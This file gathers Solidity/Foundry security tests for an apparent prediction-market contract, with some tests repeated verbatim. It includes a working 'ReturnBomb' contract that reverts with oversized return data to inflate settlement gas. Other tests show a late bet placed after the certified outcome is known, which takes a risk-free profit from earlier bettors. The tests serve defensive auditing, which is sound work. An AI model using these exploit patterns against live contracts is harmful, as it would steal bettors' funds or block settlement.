// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {SqueekPredict} from "src/SqueekPredict.sol";
import {SqueekMetrics} from "src/SqueekMetrics.sol";
import {ISqueekCore} from "src/interfaces/ISqueekCore.sol";

/// Minimal certified ledger: one active round carrying all work/blocks, frontier set by the test.
contract BombCore is ISqueekCore {
    uint64 public genesis;
    uint64 public frontier;
    uint64 public activeRound;
    uint64 public work;
    uint96 public units;

    constructor(uint64 g) {
        genesis = g;
    }

    function setFrontier(uint64 f) external {
        frontier = f;
    }

    function certify(uint64 round, uint64 work_, uint96 units_) external {
        activeRound = round;
        work = work_;
        units = units_;
    }

    function configuration() external view returns (CoreConfiguration memory c) {
        c.genesisTimestamp = genesis;
        c.roundDuration = 600;
        c.blockUnitsPerBlock = 1_000_000_000;
    }

    function _point(uint64 round) private view returns (LedgerPosition memory p) {
        if (activeRound != 0 && round >= activeRound) p = LedgerPosition(work, units, 10_000);
    }

    function state() external view returns (CoreState memory s) {
        LedgerPosition memory p = _point(frontier);
        s.settledThroughRound = frontier;
        s.cumulativeWork = p.cumulativeWork;
        s.cumulativeBlockUnits = p.cumulativeBlockUnits;
    }

    function roundPage(uint64 afterRound, uint64 throughRound, uint256 maxRecords)
        external
        view
        returns (RoundPage memory page)
    {
        require(afterRound <= throughRound && throughRound <= frontier, "bounds");
        page.certifiedThroughRound = throughRound;
        page.start = _point(afterRound);
        page.end = _point(throughRound);
        if (maxRecords != 0 && activeRound > afterRound && activeRound <= throughRound) {
            page.rounds = new RoundCheckpoint[](1);
            page.rounds[0] = RoundCheckpoint(activeRound, work, units, 10_000, bytes32(0));
        }
    }
}

/// A bettor that stakes the minimum on both sides (so it is pushed whichever side wins) and
/// answers the automatic payment by reverting with as much return data as PUSH_GAS can buy.
contract ReturnBomb {
    function place(SqueekPredict p, uint256 id) external payable {
        p.bet{value: msg.value / 2}(id, 0);
        p.bet{value: msg.value / 2}(id, 1);
    }

    function withdraw(SqueekPredict p, uint256 id, address payable to) external {
        p.claim(id, to);
    }

    receive() external payable {
        assembly {
            revert(0, 116000)
        }
    }
}

contract ReturnBombSettlementTest is Test {
    uint64 constant GENESIS = 1_728_000_000;
    /// scripts/keeper.mjs refuses a transaction when estimate * 125 / 100 > 8_000_000.
    uint256 constant KEEPER_ESTIMATE_BUDGET = 6_400_000;

    function testSettlementGasStaysBoundedWhenPushedRecipientsRevert() public {
        vm.warp(GENESIS + 1 days + 1);
        BombCore core = new BombCore(GENESIS);
        core.setFrontier(144);
        SqueekMetrics metrics = new SqueekMetrics(address(core));
        SqueekPredict predict = new SqueekPredict(address(metrics), address(0xFEED), address(0xFEED));

        // The attacker takes the first twenty bettor slots of lane 0 (market 1) for 0.04 ether.
        ReturnBomb[] memory bombs = new ReturnBomb[](20);
        for (uint256 i; i < 20; ++i) {
            bombs[i] = new ReturnBomb();
            bombs[i].place{value: 0.002 ether}(predict, 1);
        }
        // Real money: the attacker is on NO, an honest user on YES.
        address attacker = makeAddr("attacker");
        address honest = makeAddr("honest");
        vm.deal(attacker, 10 ether);
        vm.deal(honest, 10 ether);
        vm.prank(attacker);
        predict.bet{value: 10 ether}(1, 0);
        vm.prank(honest);
        predict.bet{value: 10 ether}(1, 1);

        // 101 certified blocks > strike 100: YES wins, the attacker's stake should go to `honest`.
        SqueekPredict.Market memory m = predict.getMarket(1);
        uint64 startRound = (m.startsAt - GENESIS) / 600;
        core.certify(startRound + 1, 5000, 101 * 1_000_000_000);
        core.setFrontier(startRound + 36);
        vm.warp(m.endsAt);

        uint256 beforeGas = gasleft();
        predict.settleSqueek(1);
        uint256 used = beforeGas - gasleft();
        emit log_named_uint("settleSqueek gas with 20 reverting recipients", used);

        // Twenty pushes of PUSH_GAS = 35_000 each are supposed to bound this transaction.
        assertLt(used, KEEPER_ESTIMATE_BUDGET, "settlement gas is controlled by the pushed recipients");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {SqueekPredict} from "src/SqueekPredict.sol";
import {SqueekMetrics} from "src/SqueekMetrics.sol";
import {ISqueekCore} from "src/interfaces/ISqueekCore.sol";

/// Minimal certified ledger: one active round carrying all work/blocks, frontier set by the test.
contract ScratchCore is ISqueekCore {
    uint64 public genesis;
    uint64 public frontier;
    uint64 public activeRound;
    uint64 public work;
    uint96 public units;

    constructor(uint64 g) {
        genesis = g;
    }

    function setFrontier(uint64 f) external {
        frontier = f;
    }

    function certify(uint64 round, uint64 work_, uint96 units_) external {
        activeRound = round;
        work = work_;
        units = units_;
    }

    function configuration() external view returns (CoreConfiguration memory c) {
        c.genesisTimestamp = genesis;
        c.roundDuration = 600;
        c.blockUnitsPerBlock = 1_000_000_000;
    }

    function _point(uint64 round) private view returns (LedgerPosition memory p) {
        if (activeRound != 0 && round >= activeRound) p = LedgerPosition(work, units, 10_000);
    }

    function state() external view returns (CoreState memory s) {
        LedgerPosition memory p = _point(frontier);
        s.settledThroughRound = frontier;
        s.cumulativeWork = p.cumulativeWork;
        s.cumulativeBlockUnits = p.cumulativeBlockUnits;
    }

    function roundPage(uint64 afterRound, uint64 throughRound, uint256 maxRecords)
        external
        view
        returns (RoundPage memory page)
    {
        require(afterRound <= throughRound && throughRound <= frontier, "bounds");
        page.certifiedThroughRound = throughRound;
        page.start = _point(afterRound);
        page.end = _point(throughRound);
        if (maxRecords != 0 && activeRound > afterRound && activeRound <= throughRound) {
            page.rounds = new RoundCheckpoint[](1);
            page.rounds[0] = RoundCheckpoint(activeRound, work, units, 10_000, bytes32(0));
        }
    }
}

contract LateBetDecidedTest is Test {
    uint64 constant GENESIS = 1_728_000_000;

    function testNoStakeAcceptedAfterCertifiedLedgerDecidedTheMarket() public {
        vm.warp(GENESIS + 1 days + 1);
        ScratchCore core = new ScratchCore(GENESIS);
        core.setFrontier(144);
        SqueekMetrics metrics = new SqueekMetrics(address(core));
        // Feeds are irrelevant for lane 0; any nonzero address satisfies the constructor.
        SqueekPredict predict = new SqueekPredict(address(metrics), address(0xFEED), address(0xFEED));

        address alice = makeAddr("alice");
        address bob = makeAddr("bob");
        address carol = makeAddr("carol");
        vm.deal(alice, 10 ether);
        vm.deal(bob, 10 ether);
        vm.deal(carol, 100 ether);

        // Lane 0: "Squeek blocks in 6h over 100". Honest bettors take both sides before it starts.
        vm.prank(alice);
        predict.bet{value: 10 ether}(1, 0);
        vm.prank(bob);
        predict.bet{value: 10 ether}(1, 1);
        SqueekPredict.Market memory m = predict.getMarket(1);
        assertEq(m.strike, 100);
        assertEq(m.endsAt - m.startsAt, 6 hours);

        // Two hours into the six-hour window Core has certified 101 blocks: more than the strike.
        // cumulativeBlockUnits never decreases, so YES is already the certain outcome.
        vm.warp(m.startsAt + 2 hours);
        uint64 startRound = (m.startsAt - GENESIS) / 600;
        core.certify(startRound + 1, 5000, 101 * 1_000_000_000);
        core.setFrontier(startRound + 12);

        vm.prank(carol);
        bool accepted;
        try predict.bet{value: 100 ether}(1, 1) {
            accepted = true;
        } catch {}

        if (accepted) {
            // Show the transfer this allows: settle and compare carol against bob.
            vm.warp(m.endsAt);
            core.setFrontier(startRound + 36);
            predict.settleSqueek(1);
            emit log_named_uint("carol risk-free profit (wei)", carol.balance - 100 ether);
            emit log_named_uint("bob payout (wei), 19.8 ether without carol", bob.balance);
        }
        assertFalse(accepted, "stake accepted after the certified ledger had already decided the market");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {SqueekPredict} from "src/SqueekPredict.sol";
import {SqueekMetrics} from "src/SqueekMetrics.sol";
import {ISqueekCore} from "src/interfaces/ISqueekCore.sol";
import {IAggregatorV3} from "src/interfaces/IAggregatorV3.sol";

/// Minimal Core: a list of active-round checkpoints and a certified frontier.
contract ProofCore is ISqueekCore {
    uint64 public genesis;
    uint64 public frontier;
    RoundCheckpoint[] private records;

    constructor(uint64 genesis_) {
        genesis = genesis_;
    }

    function setFrontier(uint64 f) external {
        frontier = f;
    }

    function add(uint64 round, uint64 work, uint96 units) external {
        LedgerPosition memory previous = _point(type(uint64).max);
        records.push(
            RoundCheckpoint(
                round, previous.cumulativeWork + work, previous.cumulativeBlockUnits + units, 10_000, bytes32(0)
            )
        );
    }

    function configuration() external view returns (CoreConfiguration memory c) {
        c.genesisTimestamp = genesis;
        c.roundDuration = 600;
        c.blockUnitsPerBlock = 1_000_000_000;
        c.maxRoundsPerBatch = 16;
    }

    function state() external view returns (CoreState memory s) {
        LedgerPosition memory p = _point(frontier);
        s.settledThroughRound = frontier;
        s.cumulativeWork = p.cumulativeWork;
        s.cumulativeBlockUnits = p.cumulativeBlockUnits;
    }

    function roundPage(uint64 afterRound, uint64 throughRound, uint256 maxRecords)
        external
        view
        returns (RoundPage memory page)
    {
        require(afterRound <= throughRound && throughRound <= frontier, "bounds");
        page.start = _point(afterRound);
        page.certifiedThroughRound = throughRound;
        uint256 count;
        for (uint256 i; i < records.length; ++i) {
            if (records[i].roundId <= afterRound) continue;
            if (records[i].roundId > throughRound) break;
            if (count == maxRecords) {
                page.certifiedThroughRound = records[i].roundId - 1;
                break;
            }
            ++count;
        }
        page.rounds = new RoundCheckpoint[](count);
        uint256 cursor;
        for (uint256 i; i < records.length && cursor < count; ++i) {
            if (records[i].roundId > afterRound && records[i].roundId <= throughRound) {
                page.rounds[cursor++] = records[i];
            }
        }
        page.end = _point(page.certifiedThroughRound);
    }

    function _point(uint64 round) private view returns (LedgerPosition memory p) {
        for (uint256 i; i < records.length; ++i) {
            if (records[i].roundId > round) break;
            p = LedgerPosition(
                records[i].cumulativeWork, records[i].cumulativeBlockUnits, records[i].workPerThousandBlocks
            );
        }
    }
}

contract ProofFeed is IAggregatorV3 {
    function decimals() external pure returns (uint8) {
        return 8;
    }

    function latestRoundData() external view returns (uint80, int256, uint256, uint256, uint80) {
        uint80 r = (uint80(1) << 64) | 100;
        return (r, 2000e8, block.timestamp, block.timestamp, r);
    }

    function getRoundData(uint80 id) external view returns (uint80, int256, uint256, uint256, uint80) {
        return (id, 2000e8, block.timestamp, block.timestamp, id);
    }
}

/// A cumulative Over/Under lane must not accept a stake after the certified in-window metric has
/// already crossed its strike: such a stake is a risk-free transfer from the earlier bettors.
contract LateInformationBetProof is Test {
    uint64 constant GENESIS = 1_728_000_000;
    SqueekPredict predict;
    SqueekMetrics metrics;
    ProofCore core;
    address alice = makeAddr("alice");
    address bob = makeAddr("bob");
    address attacker = makeAddr("attacker");

    function setUp() public {
        vm.warp(GENESIS + 1 days + 1);
        vm.roll(1000);
        core = new ProofCore(GENESIS);
        core.setFrontier(144);
        metrics = new SqueekMetrics(address(core));
        ProofFeed feed = new ProofFeed();
        predict = new SqueekPredict(address(metrics), address(feed), address(feed));
        vm.deal(alice, 10 ether);
        vm.deal(bob, 10 ether);
        vm.deal(attacker, 10 ether);
        predict.maintain();
    }

    function testCertifiedOutcomeCannotBeBetOnRiskFree() public {
        uint256 id = 1; // slot 0: Over/Under 100 Squeek blocks in the next 6 hours, closesAt = startsAt + 3h
        SqueekPredict.Market memory m = predict.getMarket(id);
        vm.prank(alice);
        predict.bet{value: 1 ether}(id, 0); // Under
        vm.prank(bob);
        predict.bet{value: 1 ether}(id, 1); // Over
        uint64 first = (m.startsAt - GENESIS) / 600;
        uint64 last = (m.endsAt - GENESIS) / 600;
        // Core certifies 101 in-window blocks by round first+17 (2h50m into the 6h window).
        core.add(first, 1, 0);
        core.add(first + 17, 1000, 101_000_000_000);
        core.setFrontier(first + 17);
        vm.warp(m.closesAt - 1);
        // Public, certified: the Over outcome is already decided before betting closes.
        assertGt(metrics.measure(SqueekMetrics.Metric.Blocks, m.startsAt, GENESIS + (first + 17) * 600), 100);

        uint256 before = attacker.balance;
        vm.prank(attacker);
        (bool accepted,) = address(predict).call{value: 8.95 ether}(abi.encodeCall(predict.bet, (id, 1)));
        if (!accepted) return; // Fixed code refuses the stake: nothing to extract.

        core.add(last, 1000, 101_000_000_000); // the hamster adds no further blocks
        core.setFrontier(last);
        vm.warp(m.endsAt + 1);
        predict.settleSqueek(id);
        // On the current code the attacker leaves with ~0.80 ETH more than it came with, taken from
        // Alice (loses 0.99) and Bob (payout falls from 1.98 to 1.09).
        assertLe(attacker.balance, before, "risk-free profit on an already-certified outcome");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {SqueekPredict} from "src/SqueekPredict.sol";
import {SqueekMetrics} from "src/SqueekMetrics.sol";
import {ISqueekCore} from "src/interfaces/ISqueekCore.sol";

/// Minimal certified ledger: one active round carrying all work/blocks, frontier set by the test.
contract BombCore is ISqueekCore {
    uint64 public genesis;
    uint64 public frontier;
    uint64 public activeRound;
    uint64 public work;
    uint96 public units;

    constructor(uint64 g) {
        genesis = g;
    }

    function setFrontier(uint64 f) external {
        frontier = f;
    }

    function certify(uint64 round, uint64 work_, uint96 units_) external {
        activeRound = round;
        work = work_;
        units = units_;
    }

    function configuration() external view returns (CoreConfiguration memory c) {
        c.genesisTimestamp = genesis;
        c.roundDuration = 600;
        c.blockUnitsPerBlock = 1_000_000_000;
    }

    function _point(uint64 round) private view returns (LedgerPosition memory p) {
        if (activeRound != 0 && round >= activeRound) p = LedgerPosition(work, units, 10_000);
    }

    function state() external view returns (CoreState memory s) {
        LedgerPosition memory p = _point(frontier);
        s.settledThroughRound = frontier;
        s.cumulativeWork = p.cumulativeWork;
        s.cumulativeBlockUnits = p.cumulativeBlockUnits;
    }

    function roundPage(uint64 afterRound, uint64 throughRound, uint256 maxRecords)
        external
        view
        returns (RoundPage memory page)
    {
        require(afterRound <= throughRound && throughRound <= frontier, "bounds");
        page.certifiedThroughRound = throughRound;
        page.start = _point(afterRound);
        page.end = _point(throughRound);
        if (maxRecords != 0 && activeRound > afterRound && activeRound <= throughRound) {
            page.rounds = new RoundCheckpoint[](1);
            page.rounds[0] = RoundCheckpoint(activeRound, work, units, 10_000, bytes32(0));
        }
    }
}

/// A bettor that stakes the minimum on both sides (so it is pushed whichever side wins) and
/// answers the automatic payment by reverting with as much return data as PUSH_GAS can buy.
contract ReturnBomb {
    function place(SqueekPredict p, uint256 id) external payable {
        p.bet{value: msg.value / 2}(id, 0);
        p.bet{value: msg.value / 2}(id, 1);
    }

    function withdraw(SqueekPredict p, uint256 id, address payable to) external {
        p.claim(id, to);
    }

    receive() external payable {
        assembly {
            revert(0, 116000)
        }
    }
}

contract ReturnBombSettlementTest is Test {
    uint64 constant GENESIS = 1_728_000_000;
    /// scripts/keeper.mjs refuses a transaction when estimate * 125 / 100 > 8_000_000.
    uint256 constant KEEPER_ESTIMATE_BUDGET = 6_400_000;

    function testSettlementGasStaysBoundedWhenPushedRecipientsRevert() public {
        vm.warp(GENESIS + 1 days + 1);
        BombCore core = new BombCore(GENESIS);
        core.setFrontier(144);
        SqueekMetrics metrics = new SqueekMetrics(address(core));
        SqueekPredict predict = new SqueekPredict(address(metrics), address(0xFEED), address(0xFEED));

        // The attacker takes the first twenty bettor slots of lane 0 (market 1) for 0.04 ether.
        ReturnBomb[] memory bombs = new ReturnBomb[](20);
        for (uint256 i; i < 20; ++i) {
            bombs[i] = new ReturnBomb();
            bombs[i].place{value: 0.002 ether}(predict, 1);
        }
        // Real money: the attacker is on NO, an honest user on YES.
        address attacker = makeAddr("attacker");
        address honest = makeAddr("honest");
        vm.deal(attacker, 10 ether);
        vm.deal(honest, 10 ether);
        vm.prank(attacker);
        predict.bet{value: 10 ether}(1, 0);
        vm.prank(honest);
        predict.bet{value: 10 ether}(1, 1);

        // 101 certified blocks > strike 100: YES wins, the attacker's stake should go to `honest`.
        SqueekPredict.Market memory m = predict.getMarket(1);
        uint64 startRound = (m.startsAt - GENESIS) / 600;
        core.certify(startRound + 1, 5000, 101 * 1_000_000_000);
        core.setFrontier(startRound + 36);
        vm.warp(m.endsAt);

        uint256 beforeGas = gasleft();
        predict.settleSqueek(1);
        uint256 used = beforeGas - gasleft();
        emit log_named_uint("settleSqueek gas with 20 reverting recipients", used);

        // Twenty pushes of PUSH_GAS = 35_000 each are supposed to bound this transaction.
        assertLt(used, KEEPER_ESTIMATE_BUDGET, "settlement gas is controlled by the pushed recipients");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {SqueekPredict} from "src/SqueekPredict.sol";
import {SqueekMetrics} from "src/SqueekMetrics.sol";
import {ISqueekCore} from "src/interfaces/ISqueekCore.sol";

/// Minimal certified ledger: one active round carrying all work/blocks, frontier set by the test.
contract ScratchCore is ISqueekCore {
    uint64 public genesis;
    uint64 public frontier;
    uint64 public activeRound;
    uint64 public work;
    uint96 public units;

    constructor(uint64 g) {
        genesis = g;
    }

    function setFrontier(uint64 f) external {
        frontier = f;
    }

    function certify(uint64 round, uint64 work_, uint96 units_) external {
        activeRound = round;
        work = work_;
        units = units_;
    }

    function configuration() external view returns (CoreConfiguration memory c) {
        c.genesisTimestamp = genesis;
        c.roundDuration = 600;
        c.blockUnitsPerBlock = 1_000_000_000;
    }

    function _point(uint64 round) private view returns (LedgerPosition memory p) {
        if (activeRound != 0 && round >= activeRound) p = LedgerPosition(work, units, 10_000);
    }

    function state() external view returns (CoreState memory s) {
        LedgerPosition memory p = _point(frontier);
        s.settledThroughRound = frontier;
        s.cumulativeWork = p.cumulativeWork;
        s.cumulativeBlockUnits = p.cumulativeBlockUnits;
    }

    function roundPage(uint64 afterRound, uint64 throughRound, uint256 maxRecords)
        external
        view
        returns (RoundPage memory page)
    {
        require(afterRound <= throughRound && throughRound <= frontier, "bounds");
        page.certifiedThroughRound = throughRound;
        page.start = _point(afterRound);
        page.end = _point(throughRound);
        if (maxRecords != 0 && activeRound > afterRound && activeRound <= throughRound) {
            page.rounds = new RoundCheckpoint[](1);
            page.rounds[0] = RoundCheckpoint(activeRound, work, units, 10_000, bytes32(0));
        }
    }
}

contract LateBetDecidedTest is Test {
    uint64 constant GENESIS = 1_728_000_000;

    function testNoStakeAcceptedAfterCertifiedLedgerDecidedTheMarket() public {
        vm.warp(GENESIS + 1 days + 1);
        ScratchCore core = new ScratchCore(GENESIS);
        core.setFrontier(144);
        SqueekMetrics metrics = new SqueekMetrics(address(core));
        // Feeds are irrelevant for lane 0; any nonzero address satisfies the constructor.
        SqueekPredict predict = new SqueekPredict(address(metrics), address(0xFEED), address(0xFEED));

        address alice = makeAddr("alice");
        address bob = makeAddr("bob");
        address carol = makeAddr("carol");
        vm.deal(alice, 10 ether);
        vm.deal(bob, 10 ether);
        vm.deal(carol, 100 ether);

        // Lane 0: "Squeek blocks in 6h over 100". Honest bettors take both sides before it starts.
        vm.prank(alice);
        predict.bet{value: 10 ether}(1, 0);
        vm.prank(bob);
        predict.bet{value: 10 ether}(1, 1);
        SqueekPredict.Market memory m = predict.getMarket(1);
        assertEq(m.strike, 100);
        assertEq(m.endsAt - m.startsAt, 6 hours);

        // Two hours into the six-hour window Core has certified 101 blocks: more than the strike.
        // cumulativeBlockUnits never decreases, so YES is already the certain outcome.
        vm.warp(m.startsAt + 2 hours);
        uint64 startRound = (m.startsAt - GENESIS) / 600;
        core.certify(startRound + 1, 5000, 101 * 1_000_000_000);
        core.setFrontier(startRound + 12);

        vm.prank(carol);
        bool accepted;
        try predict.bet{value: 100 ether}(1, 1) {
            accepted = true;
        } catch {}

        if (accepted) {
            // Show the transfer this allows: settle and compare carol against bob.
            vm.warp(m.endsAt);
            core.setFrontier(startRound + 36);
            predict.settleSqueek(1);
            emit log_named_uint("carol risk-free profit (wei)", carol.balance - 100 ether);
            emit log_named_uint("bob payout (wei), 19.8 ether without carol", bob.balance);
        }
        assertFalse(accepted, "stake accepted after the certified ledger had already decided the market");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {SqueekPredict} from "src/SqueekPredict.sol";
import {SqueekMetrics} from "src/SqueekMetrics.sol";
import {ISqueekCore} from "src/interfaces/ISqueekCore.sol";
import {IAggregatorV3} from "src/interfaces/IAggregatorV3.sol";

/// A Core whose certified frontier is always current (the healthy case).
contract LiveCore is ISqueekCore {
    uint64 public genesis;
    uint64 public frontier;

    constructor(uint64 g) {
        genesis = g;
    }

    function setFrontier(uint64 f) external {
        frontier = f;
    }

    function configuration() external view returns (CoreConfiguration memory c) {
        c.genesisTimestamp = genesis;
        c.roundDuration = 600;
        c.blockUnitsPerBlock = 1_000_000_000;
    }

    function state() external view returns (CoreState memory s) {
        s.settledThroughRound = frontier;
    }

    function roundPage(uint64, uint64 throughRound, uint256) external pure returns (RoundPage memory page) {
        page.certifiedThroughRound = throughRound;
    }
}

/// A Chainlink-shaped feed updated by the test every hour.
contract LiveFeed is IAggregatorV3 {
    uint80 public latest;
    mapping(uint80 => uint256) public updatedAt;

    function put(uint80 id, uint256 time) external {
        latest = id;
        updatedAt[id] = time;
    }

    function decimals() external pure returns (uint8) {
        return 8;
    }

    function description() external pure returns (string memory) {
        return "mock";
    }

    function version() external pure returns (uint256) {
        return 1;
    }

    function latestRoundData() external view returns (uint80, int256, uint256, uint256, uint80) {
        return (latest, 2000e8, updatedAt[latest], updatedAt[latest], latest);
    }

    function getRoundData(uint80 id) external view returns (uint80, int256, uint256, uint256, uint80) {
        return (id, 2000e8, updatedAt[id], updatedAt[id], id);
    }
}

contract BettableCountTest is Test {
    uint64 constant GENESIS = 1_728_000_000;
    SqueekPredict predict;
    LiveCore core;
    LiveFeed eth;
    LiveFeed btc;
    uint80 round = (uint80(1) << 64) | 100;

    function setUp() public {
        // One second after a UTC midnight, so the first maintain opens all fourteen lanes together.
        uint64 t0 = ((GENESIS + 1 days) / 1 days) * 1 days + 1;
        vm.warp(t0);
        vm.roll(1000);
        vm.fee(10 gwei);
        core = new LiveCore(GENESIS);
        core.setFrontier(uint64((t0 - GENESIS) / 600));
        SqueekMetrics metrics = new SqueekMetrics(address(core));
        eth = new LiveFeed();
        btc = new LiveFeed();
        eth.put(round, t0);
        btc.put(round, t0);
        predict = new SqueekPredict(address(metrics), address(eth), address(btc));
        predict.maintain();
    }

    /// Advance one hour with every source healthy and the keeper calling maintain().
    function _hour() internal {
        uint256 now_ = vm.getBlockTimestamp() + 1 hours;
        vm.warp(now_);
        vm.roll(vm.getBlockNumber() + 300);
        core.setFrontier(uint64((now_ - GENESIS) / 600));
        ++round;
        eth.put(round, now_);
        btc.put(round, now_);
        predict.maintain();
    }

    function _bettable() internal view returns (uint256 n) {
        uint256[14] memory ids = predict.activeMarketIds();
        uint256 now_ = vm.getBlockTimestamp();
        for (uint256 i; i < 14; ++i) {
            SqueekPredict.Market memory m = predict.getMarket(ids[i]);
            if (m.status == SqueekPredict.Status.Open && now_ < m.closesAt) ++n;
        }
    }

    function testAtLeastTwelveBettableMarketsWithHealthySources() public {
        assertEq(_bettable(), 14, "all lanes open at launch");
        uint256 minSeen = 14;
        uint256 worstHour;
        for (uint256 h = 1; h <= 48; ++h) {
            _hour();
            uint256 n = _bettable();
            if (n < minSeen) {
                minSeen = n;
                worstHour = h;
            }
        }
        emit log_named_uint("minimum bettable markets over 48h", minSeen);
        emit log_named_uint("first hour at that minimum", worstHour);
        // At hour 13 every one-day lane has passed closesAt and no replacement exists until hour 24.
        vm.warp(vm.getBlockTimestamp()); // no-op, documents the measurement point
        assertGe(minSeen, 12, "fewer than 12 bettable markets while every source is healthy");
    }
}